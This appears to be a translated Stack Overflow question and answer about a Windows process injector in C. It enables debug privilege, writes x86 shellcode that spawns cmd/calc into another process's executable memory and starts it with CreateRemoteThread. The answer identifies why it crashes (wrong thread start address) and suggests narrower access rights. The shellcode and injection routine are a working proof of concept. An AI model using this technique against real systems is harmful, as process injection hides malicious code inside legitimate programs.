c - Windows 进程注入(inject)崩溃

Question

这是我的第一个半专业 C 项目。我是一个自学成才的程序员，所以如果我的代码有任何重大缺陷，或者如果您碰巧对我有任何提示，请指出，我非常渴望学习。谢谢。

无论如何，我决定为 Windows 编写一个进程注入(inject)器，正如标题所示，每次我尝试将 Windows XP SP2 calc 注入(inject)指定进程时，它都会崩溃。我决定使其基于 XP 的原因是因为这是一个测试版本/POC/其他版本。

这是因为 shellcode 仅适用于特定进程吗？ 我尝试了不同的进程，explorer.exe、firefox.exe 等。仍然崩溃。 哦，仅供引用，我的 ASM 不是最好的，所以我从 shell-storm 借用了一些 shellcode

另外，代码看起来怎么样？我在理解 MSDN API 的某些 psapi/windows 参数时遇到了一些问题。它看起来有点模糊，而且很难在网上找到我的一些问题的示例。

#include <windows.h>
#include <stdio.h>
#include <psapi.h>
#define BYTESIZE 100

void ProcessIdentf(DWORD ProcessID);
//Required for Process Handling rights
int SeDebugMode(HANDLE ProcessEnabled, LPCTSTR Base_Name);

int main(void){
    //x86 | Windows XP SP2 | calc.exe call
    //POC data
    unsigned char call_calc[] =
    "\x31\xc0\xeb\x13\x5b\x88\x43\x0e\x53\xbb\xad\x23\x86\x7c\xff\xd3\xbb"
    "\xfa\xca\x81\x7c\xff\xd3\xe8\xe8\xff\xff\xff\x63\x6d\x64\x2e\x65\x78"
    "\x65\x20\x2f\x63\x20\x63\x6d\x64";
    //Process HANDLE && Process Identifier WORD
    HANDLE FfHandle;
    int ProcID;
    //VirtualAllocMemPnter
    LPVOID lpv = NULL;
    //Typecasted pointer to Shellcode
    char* shellptr = call_calc;
    //Handle for CreateRemoteThread function
    HANDLE ControlStructRemote;
    //Number of bytes successfully executed
    SIZE_T bytescom;
    //Data for Process enumeration
    DWORD xyProcesses[1024]; //Max_Proc
    DWORD abProcesses, cntbNeeded;
    unsigned int c;
    printf("POC version x00.\nInjects example x86 shellcode into process.\n");
    SeDebugMode(GetCurrentProcess(), SE_DEBUG_NAME);
    printf("SE_DEBUG_PRIVILEGE successfully enabled.\nPrinting process' eligable for  injection\n");
    Sleep(10000);
    if(!EnumProcesses(xyProcesses, sizeof(xyProcesses), &cntbNeeded)){
        exit(1);
    }
    abProcesses = cntbNeeded / sizeof(DWORD);
    //Enumerate processes owned by current user
    for(c = 0; c &lt; abProcesses; c++){
        if(xyProcesses[c] != 0){
            ProcessIdentf(xyProcesses[c]);
        }
    }
    printf("Process PID required\n");
    scanf("%d", &ProcID);
    FfHandle = OpenProcess(PROCESS_ALL_ACCESS,
    FALSE,
    ProcID);
    lpv = VirtualAllocEx(FfHandle,
    NULL,
    BYTESIZE,
    MEM_COMMIT,
    0x40); //PAGE_EXECUTE_READWRITE
    if(WriteProcessMemory(FfHandle, lpv, &shellptr, sizeof(shellptr), &bytescom) != 0){
        ControlStructRemote = CreateRemoteThread(FfHandle,
        0,
        0,
        (DWORD (__stdcall*) (void*)) shellptr,
        0,
        0,
        0);
        if(ControlStructRemote){
            printf("POC shellcode successful.\n");
        }
        else{
            printf("Failure, CreateRemoteThread could not spawn a remote thread or failed to exec in target process\n");
        }
    }
    return 0;
}

void ProcessIdentf(DWORD ProcID){
    //Enumerates PID and modules. Prints. Implement in loop
    //unicode char, max ntfs datafile
    TCHAR szProcessname[MAX_PATH] = TEXT("&lt;unknown&gt;");
    //open proc handle
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS,
    FALSE, ProcID);
    //enum modules
    if(NULL != hProcess){
        HMODULE hMod;
        DWORD cbNeed;
        if(EnumProcessModules(hProcess,&hMod, sizeof(hMod),&cbNeed))
        {
            GetModuleBaseName(hProcess, hMod, szProcessname,
            sizeof(szProcessname)/sizeof(TCHAR));
        }
    }
    //print PID
    printf("%s PID: %u\n", szProcessname, ProcID);
    //close processhandle
    CloseHandle(hProcess);
}

int SeDebugMode(HANDLE xyProcess, LPCTSTR DebugPriv){
    HANDLE hTokenProc;
    LUID xDebugVal;
    TOKEN_PRIVILEGES tPriv;
    if(OpenProcessToken(xyProcess,
    TOKEN_ADJUST_PRIVILEGES,
    &hTokenProc)){
        if(LookupPrivilegeValue(NULL, DebugPriv, &xDebugVal)){
            tPriv.PrivilegeCount = 1;
            tPriv.Privileges[0].Luid = xDebugVal;
            tPriv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
            AdjustTokenPrivileges(hTokenProc,
            FALSE,
            &tPriv,
            sizeof(TOKEN_PRIVILEGES),
            NULL,
            NULL
            );
            if(GetLastError() == ERROR_SUCCESS){
                return TRUE;
            }
        }
    }
    return FALSE;
}

Answer 1

您在 shellptr 处创建远程线程，但它应该是您编写代码的地方 lpv。

顺便说一句，尽量避免 PROCESS_ALL_ACCESS，只指定您需要的确切访问权限(每个 API 的详细信息都在 MSDN 上)